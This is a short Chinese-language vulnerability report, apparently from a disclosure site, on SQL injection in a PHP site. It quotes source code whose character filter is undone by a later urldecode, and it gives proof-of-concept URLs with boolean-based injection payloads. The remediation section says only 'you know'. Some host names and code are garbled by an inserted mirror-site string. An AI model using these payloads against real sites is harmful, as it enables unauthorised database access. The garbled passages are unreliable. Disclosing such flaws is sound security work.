过滤不严谨呀！ 导致SQL注入！ if($WebOpening==0) die(htmlspecialchars_decode($WebMaintenanceText)); $QUERY = preg_replace("/[\\\:\*\?\"\'<>\~\(\)\[\]\{\}\s\$]/",'',$_SERVER['QUERY_STRING']); //这个正则不严谨呀!!!!冏$QUERY = explode('/',$QUERY); foreach ($QUERY as $key => $value){ $sGET[substr($value,0,1)] = substr(trim($value),1); } HdhCmsTest2cto测试数据 if (!empty($sGET['w'])) $sGET['w'] = urldecode($sGET['w']); 解码后成功触发 Lang(); sFile(); 漏洞 证明：http://localhost/Song/?m1/fproducts/l1/w11%%27 and 1=1 and %27%%27=%27 TRUE http://HdhCmsTest2cto测试数据 /Song/?m1/fproducts/l1/w11%%27 and 1=２and %27%%27=%27 FALSE 修复方案： 你懂的！
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